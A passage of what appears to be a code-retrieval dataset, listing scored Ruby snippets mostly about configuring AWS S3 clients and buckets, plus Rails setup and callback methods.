"text": "def read_version_folders\n ErrorHandler.with_error_handling do\n @app_configs.bucket.objects.select do |o|\n !o.key.empty? &&\n o.key.start_with?(\"#{@name}/config/\") &&\n o.key.end_with?('/') &&\n o.key.count('/') == 3\n end\n end\n end",
"title": ""
},
{
"docid": "91a8719f995561b39ae9e83dfae40b1f",
"score": "0.53984016",
"text": "def aws_api\n AwsS3Service.instance\n end",
"title": ""
},
{
"docid": "67590940ca052f339fe23fcd3c78d262",
"score": "0.53904486",
"text": "def get_config(view = nil)\n path = _path() + '/config'\n resp = @_resource_root.get(path, view && { 'view' => view } || nil)\n ::CmApi::Endpoints::Types::json_to_config(resp, view == 'full')\n end",
"title": ""
},
{
"docid": "5a5884faed8dab6d156afd1c625a25bb",
"score": "0.5388342",
"text": "def _get_config(rel_path, view, api_version = 1)\n _require_min_api_version(api_version)\n params = view && { 'view' => view } || nil\n resp = @_resource_root.get(_path + '/' + rel_path, params)\n ::CmApi::Endpoints::Types::json_to_config(resp, view == 'full')\n end",
"title": ""
},
{
"docid": "1f1838482c42d2d53e4c415c625a8cc7",
"score": "0.53859013",
"text": "def show\n @config = Config.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @config }\n end\n end",
"title": ""
},
{
"docid": "02485e842cea64469b72a03a09423e16",
"score": "0.53847057",
"text": "def aws_api\n AwsS3Service.instance\n end",
"title": ""
},
{
"docid": "2b023057f283299f4cf9823dc0e0c402",
"score": "0.53831863",
"text": "def s3_key\n url.sub(S3DirectUpload.config.url, '')\n end",
"title": ""
},
{
"docid": "82de7800736c6468bc054d1a0d84e059",
"score": "0.5372078",
"text": "def destroy\n \n respond_to do |format|\n @s3config.destroy\n flash[:notice] = 's3config has been successfully deleted.'\n format.html { redirect_to action: \"index\" }\n format.json { head :no_content }\n \n end\n end",
"title": ""
},
{
"docid": "c90b2161a4b6bb423aa0304199ebb5a6",
"score": "0.5363024",
"text": "def get(options={})\n # Get the base URI to this bucket, and append any subset options\n # onto the query string.\n uri = uri()\n suffix = '?'\n\n # For every option the user provided...\n options.each do |param, value| \n # ...if it's one of the S3 subset options...\n if [:Prefix, :Marker, :Delimiter, :MaxKeys].member? :param\n # ...add it to the URI.\n uri << suffix << param.to_s << '=' << URI.escape(value)\n suffix = '&'\n end\n end\n\n # Now we've built up our URI. Make a GET request to that URI and\n # read an XML document that lists objects in the bucket.\n doc = REXML::Document.new(open(uri).read)\n there_are_more = REXML::XPath.first(doc, \"//IsTruncated\").text == \"true\"\n\n # Build a list of S3::Object objects.\n objects = []\n # For every object in the bucket...\n REXML::XPath.each(doc, \"//Contents/Key\") do |e|\n # ...build an S3::Object object and append it to the list.\n objects << Object.new(self, e.text) if e.text\n end\n return objects, there_are_more\n end",
"title": ""
},
{
"docid": "37b014e17d67891a730da137bcb13764",
"score": "0.5359968",
"text": "def get_configurations(opts={})\n query_params = self.merge_query_options(opts)\n path = self.api_root + \"/api/configurations#{query_params}\"\n process_firecloud_request(:get, path)\n end",
"title": ""
},
{
"docid": "874f0c14eb90aa976e2e87d4ec32c9a3",
"score": "0.53551126",
"text": "def get_seed_data_from_s3_json\n seed_dest_file = 'seed_data.json'\n remote_json_path = ENV['AWS_S3_SEED_DIR_PATH'] + \"/\" + seed_dest_file\n\n p \"Seeding data from AWS S3 bucket: \"+ ENV['AWS_S3_BUCKET'] + \"/\" + remote_json_path\n\n s3 = Aws::S3::Client.new\n resp = s3.get_object(bucket:ENV['AWS_S3_BUCKET'], key: remote_json_path)\n jsonValue= resp.body.read\n raw_hash = JSON.parse(jsonValue)\n return raw_hash\nend",
"title": ""
},
{
"docid": "e27b7ba83904024b86ff9763f19ff1ae",
"score": "0.5346341",
"text": "def get_settings\n @client.raw('get', '/config/settings')\n end",
"title": ""
},
{
"docid": "d8377f302b059af9835e90499ea0994d",
"score": "0.53445905",
"text": "def s3_service(bucket_name = nil) \n s3 = Aws::S3::Client.new\n if bucket_name\n resp = s3.get_bucket_location({bucket: bucket_name})\n region = resp['location_constraint']\n return Aws::S3::Client.new({region: region}) if !region.empty?\n end\n s3\nend",
"title": ""
},
{
"docid": "75820bc10d2cc24f9621feb912f7d7f6",
"score": "0.53366315",
"text": "def index\n @cat3s = Cat3.all\n end",
"title": ""
},
{
"docid": "00310719192a33040186db8524092082",
"score": "0.533651",
"text": "def s3_available\n s3_enabled && s3_configured\n end",
"title": ""
},
{
"docid": "514170dd2e85da17a90a80719da4c59a",
"score": "0.5335419",
"text": "def list\n\t bucket_url = \"s3://thirdmode.#{wp_site}\"\n\t output = %x[aws s3 ls #{bucket_url} --region #{REGION} 2>&1]\n puts \"Files in the thirdmode.#{wp_site} bucket are:\\n\"\n puts output\n\tend",
"title": ""
},
{
"docid": "02613a7d39854d614a7c497698f4ad8b",
"score": "0.5333107",
"text": "def _get_config(rel_path, view, api_version = 1)\n _require_min_api_version(api_version)\n params = view && { 'view' => view } || nil\n resp = @_resource_root.get(_path + '/' + rel_path, params)\n json_to_config(resp, view == 'full')\n end",
"title": ""
},
{
"docid": "2121c16694c6aae15cc6e803f01eab8e",
"score": "0.5332297",
"text": "def list\n @client.make_request :get, settings_path\n end",
"title": ""
},
{
"docid": "3ee8e748dde05b94ad369ea01cc7ee21",
"score": "0.5325619",
"text": "def initialize_s3\n return RightAws::S3.new(decrypt_password(CONFIG['ACCESS_KEY_ID']), decrypt_password(CONFIG['SECRET_ACCESS_KEY']), :multi_thread => true, :logger => LOG_S3)\n end",
"title": ""
},
{
"docid": "eae5803149501ab3ecaf983d4326fc80",
"score": "0.5324931",
"text": "def s3_bucket\n ENV[\"S3_BUCKET\"]\n end",
"title": ""
},
{
"docid": "68b66b1dbc5d3133f6fe4b2b8295b758",
"score": "0.53211874",
"text": "def configs\n manager = BookConfigurationManager.new(\"./Configuration\")\n render json: manager.list\n end",
"title": ""
},
{
"docid": "fa0607747d2df2443bef548a5bf70736",
"score": "0.5313718",
"text": "def initiate_aws_s3_client(options)\n s3 = Aws::S3::Client.new(\n :region => options['region'], \n :access_key_id => options['access'],\n :secret_access_key => options['secret']\n )\n return s3\nend",
"title": ""
},
{
"docid": "fd5c63dc672ab8309239bcece1ae3a97",
"score": "0.53024733",
"text": "def s3_connection()\n\n client = Aws::S3::Client.new(\n :access_key_id => ENV['AWS_ACCESS_KEY_ID'],\n :secret_access_key => ENV['AWS_SECRET_ACCESS_KEY'],\n :region => 'us-west-1')\n\n resource = Aws::S3::Resource.new(client: client)\n\n resource\nend",
"title": ""
},
{
"docid": "581aab1a77243e34cdf114d97de5c526",
"score": "0.5300249",
"text": "def get_S3Bucket(name, id, key)\n\tbucket = Fog::Storage.new(\n\t\tprovider: \"AWS\",\n\t\taws_access_key_id: id,\n\t\taws_secret_access_key: key,\n\t\tregion: \"eu-central-1\"\n\t).directories.get(name)\nend",
"title": ""
},
{
"docid": "2a6cb37e7ef9309e546e8d761ca7eb84",
"score": "0.5296019",
"text": "def object\n AWS::S3::S3Object\n end",
"title": ""
},
{
"docid": "bd446e32dc03eb9368e600d932e7c79c",
"score": "0.5295659",
"text": "def content\n s3 = Aws::S3::Resource.new\n bucket = s3.bucket @bucket_name\n fail \"bucket with name #{@bucket_name} not found\" if bucket.nil?\n bucket \n end",
"title": ""
},
{
"docid": "8e35e48cc697f76bff5bf025d954bf0d",
"score": "0.5286791",
"text": "def loadS3Client\n @s3Client = Aws::S3::Client.new(access_key_id: ENV['j_aws_access_key_id'],\n secret_access_key: ENV['j_aws_secret_access_key'],\n region: 'us-east-1')\n end",
"title": ""
},
{
"docid": "2a6ad5a2b7d63cd492cb8820e2e83da7",
"score": "0.52809757",
"text": "def resolve_s3_url\n parsed_url = URI.parse url.to_s\n\n key = parsed_url.path.to_s[1..]\n bucket = parsed_url.host.to_s.chomp \".s3.amazonaws.com\"\n\n params = (URI.decode_www_form parsed_url.query.to_s).to_h\n version_id = params[\"versionId\"]\n [key, bucket, version_id]\n end",
"title": ""
},
{
"docid": "7e9258f9404e1856b3c88a01b0b84a4a",
"score": "0.5280322",
"text": "def full_s3_resource\n @full_s3_resource ||= bucket.files.head(remote_path)\n end",
"title": ""
},
{
"docid": "50d5256134a23bc388beb63ae418af8c",
"score": "0.52779186",
"text": "def initiate_aws_s3_bucket(options)\n s3 = Aws::S3::Bucket.new(\n :region => options['region'], \n :access_key_id => options['access'],\n :secret_access_key => options['secret']\n )\n return s3\nend",
"title": ""
},
{
"docid": "c808a32eca35bb57f8e449f32db1a286",
"score": "0.5276804",
"text": "def service\n :aws_s3\n end",
"title": ""
},
{
"docid": "fe03777c2d0951bd36d3cce55ae86a1d",
"score": "0.52753705",
"text": "def aws_api\n # noinspection RubyMismatchedReturnType\n api_service(AwsS3Service)\n end",
"title": ""
},
{
"docid": "be2045976f520ce4b9569285e1e1ada5",
"score": "0.527279",
"text": "def url\n if CarrierWave::config[:s3][:cnamed]\n [\"http://\", bucket, @path].compact.join('/')\n else\n [\"http://s3.amazonaws.com\", bucket, @path].compact.join('/')\n end\n end",
"title": ""
},
{
"docid": "085c6a05b80d8f70cedda0e03b68096b",
"score": "0.52673715",
"text": "def get_files_from_s3\n # connect to s3\n service = S3::Service.new(:access_key_id => ENV['S3_KEY'],\n :secret_access_key => ENV['S3_SECRET'])\n # get bucket\n bucket = service.buckets.find(ENV['S3_BUCKET'])\n # return files\n bucket.objects\n end",
"title": ""
},
{
"docid": "05c6c45a5a13636395085a011dfe49b0",
"score": "0.5258083",
"text": "def show\n\n json_response = []\n\n s3_bucket = Aws::S3::Resource.new.bucket(ENV['S3_BUCKET'])\n obj = s3_bucket.object(@client_file.full_path)\n is_image = false\n public_url = obj.public_url\n\n if !obj.content_type.index(\"image\").nil?\n is_image = true\n end\n\n json_response << @client_file\n json_response << public_url\n json_response << is_image\n\n respond_with(@client_file) do |format|\n\n format.json {\n render json: json_response\n }\n\n end\n\n end",
"title": ""
},
{
"docid": "62a5ef15a28304fe94e01a61955ab03e",
"score": "0.52563345",
"text": "def get_bucket\n if not @bucket\n if @config.access_key_id and @config.secret_access_key\n Aws.config.update(\n credentials: Aws::Credentials.new(@config.access_key_id, @config.secret_access_key)\n )\n end\n\n @s3 = Aws::S3::Resource.new(\n region: @config.get(:bucket_region)\n )\n @bucket = @s3.bucket(@config.get(:bucket_name))\n end\n @bucket\n end",
"title": ""
},
{
"docid": "549e19207e4ff55ff9e7169cebba6e1b",
"score": "0.5255723",
"text": "def get_media_config\n request(:get, :media_r0, '/config')\n end",
"title": ""
},
{
"docid": "d42e0a08ae4f943c87e80fc4b359f7c7",
"score": "0.52494437",
"text": "def s3_base_url\n @s3_base_url ||= DEFAULT_S3_BASE_URL\n end",
"title": ""
},
{
"docid": "d59563141779d60bc241ba842d19bb4e",
"score": "0.52440625",
"text": "def initiate_aws_s3_resource(options)\n s3 = Aws::S3::Resource.new(\n :region => options['region'], \n :access_key_id => options['access'],\n :secret_access_key => options['secret']\n )\n return s3\nend",
"title": ""
},
{
"docid": "3b23360be4e52f6887c4bdd8f9026b40",
"score": "0.52334154",
"text": "def s3_object\n @s3_object ||= get_bucket(s3Resource(ENV['AWS_BUCKET_NAME_REGION']), bucket, {make_public: true}).object(key) if key && bucket\n rescue\n nil\n end",
"title": ""
},
{
"docid": "038d6e756cdb632bf20639fe06d96861",
"score": "0.5225422",
"text": "def to_vayacondios\n {\n bucket: s3_uri,\n region: settings[:region],\n }\n end",
"title": ""
},
{
"docid": "e02170c99a5aac6ce2210952ceb0c86f",
"score": "0.5218673",
"text": "def bucket\n PreservationCatalog::S3.configure(\n region: Settings.zip_endpoints.aws_s3_east_1.region,\n access_key_id: Settings.zip_endpoints.aws_s3_east_1.access_key_id,\n secret_access_key: Settings.zip_endpoints.aws_s3_east_1.secret_access_key\n )\n PreservationCatalog::S3.bucket\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2 | Use callbacks to share common setup or constraints between actions. | [
{
"docid": "c962bd2e391cc807126d8c452e0d8827",
"score": "0.0",
"text": "def set_truck\n @truck = Truck.find(params[:id])\n end",
"title": ""
}
] | [
{
"docid": "bd89022716e537628dd314fd23858181",
"score": "0.61642385",
"text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"title": ""
},
{
"docid": "3db61e749c16d53a52f73ba0492108e9",
"score": "0.60448",
"text": "def action_hook; end",
"title": ""
},
{
"docid": "b8b36fc1cfde36f9053fe0ab68d70e5b",
"score": "0.5945487",
"text": "def run_actions; end",
"title": ""
},
{
"docid": "3e521dbc644eda8f6b2574409e10a4f8",
"score": "0.5915654",
"text": "def define_action_hook; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.58890367",
"text": "def actions; end",
"title": ""
},
{
"docid": "bfb8386ef5554bfa3a1c00fa4e20652f",
"score": "0.58330417",
"text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6c8e66d9523b9fed19975542132c6ee4",
"score": "0.5776098",
"text": "def add_actions; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703048",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703048",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "6ce8a8e8407572b4509bb78db9bf8450",
"score": "0.5654613",
"text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"title": ""
},
{
"docid": "1964d48e8493eb37800b3353d25c0e57",
"score": "0.5620029",
"text": "def define_action_helpers; end",
"title": ""
},
{
"docid": "5df9f7ffd2cb4f23dd74aada87ad1882",
"score": "0.5423114",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.540998",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.540998",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.540998",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5393666",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53783023",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.53568405",
"text": "def execute(setup)\n @action.call(setup)\n end",
"title": ""
},
{
"docid": "0e7bdc54b0742aba847fd259af1e9f9e",
"score": "0.53391176",
"text": "def set_actions\n actions :all\n end",
"title": ""
},
{
"docid": "0464870c8688619d6c104d733d355b3b",
"score": "0.5339061",
"text": "def define_action_helpers?; end",
"title": ""
},
{
"docid": "5510330550e34a3fd68b7cee18da9524",
"score": "0.53310865",
"text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"title": ""
},
{
"docid": "97c8901edfddc990da95704a065e87bc",
"score": "0.5312988",
"text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"title": ""
},
{
"docid": "4f9a284723e2531f7d19898d6a6aa20c",
"score": "0.529798",
"text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"title": ""
},
{
"docid": "210e0392ceaad5fc0892f1335af7564b",
"score": "0.52968603",
"text": "def setup_handler\n end",
"title": ""
},
{
"docid": "83684438c0a4d20b6ddd4560c7683115",
"score": "0.52962637",
"text": "def before_actions(*logic)\n self.before_actions = logic\n end",
"title": ""
},
{
"docid": "a997ba805d12c5e7f7c4c286441fee18",
"score": "0.52577317",
"text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "1d50ec65c5bee536273da9d756a78d0d",
"score": "0.5244704",
"text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5236856",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5236856",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5236856",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5236856",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.5236856",
"text": "def action; end",
"title": ""
},
{
"docid": "e34cc2a25e8f735ccb7ed8361091c83e",
"score": "0.5233461",
"text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"title": ""
},
{
"docid": "635288ac8dd59f85def0b1984cdafba0",
"score": "0.52322435",
"text": "def workflow\n end",
"title": ""
},
{
"docid": "78b21be2632f285b0d40b87a65b9df8c",
"score": "0.5227552",
"text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"title": ""
},
{
"docid": "6350959a62aa797b89a21eacb3200e75",
"score": "0.52224743",
"text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"title": ""
},
{
"docid": "923ee705f0e7572feb2c1dd3c154b97c",
"score": "0.5217851",
"text": "def process_action(...)\n send_action(...)\n end",
"title": ""
},
{
"docid": "b89a3908eaa7712bb5706478192b624d",
"score": "0.521241",
"text": "def before_dispatch(env); end",
"title": ""
},
{
"docid": "7115b468ae54de462141d62fc06b4190",
"score": "0.52069896",
"text": "def after_actions(*logic)\n self.after_actions = logic\n end",
"title": ""
},
{
"docid": "d89a3e408ab56bf20bfff96c63a238dc",
"score": "0.5206555",
"text": "def setup\n # override and do something appropriate\n end",
"title": ""
},
{
"docid": "62c402f0ea2e892a10469bb6e077fbf2",
"score": "0.5176617",
"text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"title": ""
},
{
"docid": "72ccb38e1bbd86cef2e17d9d64211e64",
"score": "0.51738507",
"text": "def setup(_context)\n end",
"title": ""
},
{
"docid": "b4f4e1d4dfd31919ab39aecccb9db1d0",
"score": "0.51725876",
"text": "def setup(resources) ; end",
"title": ""
},
{
"docid": "1fd817f354d6cb0ff1886ca0a2b6cce4",
"score": "0.51660734",
"text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"title": ""
},
{
"docid": "5531df39ee7d732600af111cf1606a35",
"score": "0.51605034",
"text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"title": ""
},
{
"docid": "bb6aed740c15c11ca82f4980fe5a796a",
"score": "0.51571786",
"text": "def determine_valid_action\n\n end",
"title": ""
},
{
"docid": "b38f9d83c26fd04e46fe2c961022ff86",
"score": "0.5152762",
"text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"title": ""
},
{
"docid": "199fce4d90958e1396e72d961cdcd90b",
"score": "0.5152164",
"text": "def startcompany(action)\n @done = true\n action.setup\n end",
"title": ""
},
{
"docid": "994d9fe4eb9e2fc503d45c919547a327",
"score": "0.5151477",
"text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"title": ""
},
{
"docid": "62fabe9dfa2ec2ff729b5a619afefcf0",
"score": "0.5145819",
"text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.51408994",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "adb8115fce9b2b4cb9efc508a11e5990",
"score": "0.5134412",
"text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"title": ""
},
{
"docid": "e1dd18cf24d77434ec98d1e282420c84",
"score": "0.5114031",
"text": "def setup(&block)\n define_method(:setup, &block)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5113695",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "3b4fb29fa45f95d436fd3a8987f12de7",
"score": "0.5113695",
"text": "def setup\n transition_to(:setup)\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.5108603",
"text": "def action\n end",
"title": ""
},
{
"docid": "f54964387b0ee805dbd5ad5c9a699016",
"score": "0.5107358",
"text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"title": ""
},
{
"docid": "35b302dd857a031b95bc0072e3daa707",
"score": "0.5090405",
"text": "def config(action, *args); end",
"title": ""
},
{
"docid": "bc3cd61fa2e274f322b0b20e1a73acf8",
"score": "0.50889385",
"text": "def setup\n @setup_proc.call(self) if @setup_proc\n end",
"title": ""
},
{
"docid": "246840a409eb28800dc32d6f24cb1c5e",
"score": "0.50817686",
"text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"title": ""
},
{
"docid": "5c3cfcbb42097019c3ecd200acaf9e50",
"score": "0.5081617",
"text": "def before_action \n end",
"title": ""
},
{
"docid": "dfbcf4e73466003f1d1275cdf58a926a",
"score": "0.50658226",
"text": "def action\n end",
"title": ""
},
{
"docid": "36eb407a529f3fc2d8a54b5e7e9f3e50",
"score": "0.50551206",
"text": "def matt_custom_action_begin(label); end",
"title": ""
},
{
"docid": "b6c9787acd00c1b97aeb6e797a363364",
"score": "0.5051746",
"text": "def setup\n # override this if needed\n end",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.5049091",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "9fc229b5b48edba9a4842a503057d89a",
"score": "0.5049091",
"text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "fd421350722a26f18a7aae4f5aa1fc59",
"score": "0.5034681",
"text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"title": ""
},
{
"docid": "d02030204e482cbe2a63268b94400e71",
"score": "0.5024972",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"title": ""
},
{
"docid": "4224d3231c27bf31ffc4ed81839f8315",
"score": "0.5021291",
"text": "def after(action)\n invoke_callbacks *options_for(action).after\n end",
"title": ""
},
{
"docid": "24506e3666fd6ff7c432e2c2c778d8d1",
"score": "0.5016024",
"text": "def pre_task\n end",
"title": ""
},
{
"docid": "0c16dc5c1875787dacf8dc3c0f871c53",
"score": "0.50134826",
"text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"title": ""
},
{
"docid": "c99a12c5761b742ccb9c51c0e99ca58a",
"score": "0.50008893",
"text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"title": ""
},
{
"docid": "0cff1d3b3041b56ce3773d6a8d6113f2",
"score": "0.50000244",
"text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"title": ""
},
{
"docid": "791f958815c2b2ac16a8ca749a7a822e",
"score": "0.4999155",
"text": "def setup_signals; end",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.49907947",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "6e44984b54e36973a8d7530d51a17b90",
"score": "0.49907947",
"text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"title": ""
},
{
"docid": "5aa51b20183964c6b6f46d150b0ddd79",
"score": "0.49853387",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"title": ""
},
{
"docid": "67e7767ce756766f7c807b9eaa85b98a",
"score": "0.49796683",
"text": "def after_set_callback; end",
"title": ""
},
{
"docid": "7647b99591d6d687d05b46dc027fbf23",
"score": "0.4979596",
"text": "def initialize(*args)\n super\n @action = :set\nend",
"title": ""
},
{
"docid": "2a2b0a113a73bf29d5eeeda0443796ec",
"score": "0.49778128",
"text": "def setup\n #implement in subclass;\n end",
"title": ""
},
{
"docid": "63e628f34f3ff34de8679fb7307c171c",
"score": "0.49673793",
"text": "def lookup_action; end",
"title": ""
},
{
"docid": "a5294693c12090c7b374cfa0cabbcf95",
"score": "0.49662578",
"text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"title": ""
},
{
"docid": "57dbfad5e2a0e32466bd9eb0836da323",
"score": "0.49587822",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
},
{
"docid": "5b6d613e86d3d68152f7fa047d38dabb",
"score": "0.4956063",
"text": "def release_actions; end",
"title": ""
},
{
"docid": "4aceccac5b1bcf7d22c049693b05f81c",
"score": "0.49550167",
"text": "def around_hooks; end",
"title": ""
},
{
"docid": "64e0f1bb6561b13b482a3cc8c532cc37",
"score": "0.49523485",
"text": "def setup(easy)\n super\n easy.customrequest = @verb\n end",
"title": ""
},
{
"docid": "2318410efffb4fe5fcb97970a8700618",
"score": "0.4951614",
"text": "def save_action; end",
"title": ""
},
{
"docid": "fbd0db2e787e754fdc383687a476d7ec",
"score": "0.49452996",
"text": "def action_target()\n \n end",
"title": ""
},
{
"docid": "b280d59db403306d7c0f575abb19a50f",
"score": "0.49442068",
"text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"title": ""
},
{
"docid": "9f7547d93941fc2fcc7608fdf0911643",
"score": "0.49336892",
"text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"title": ""
},
{
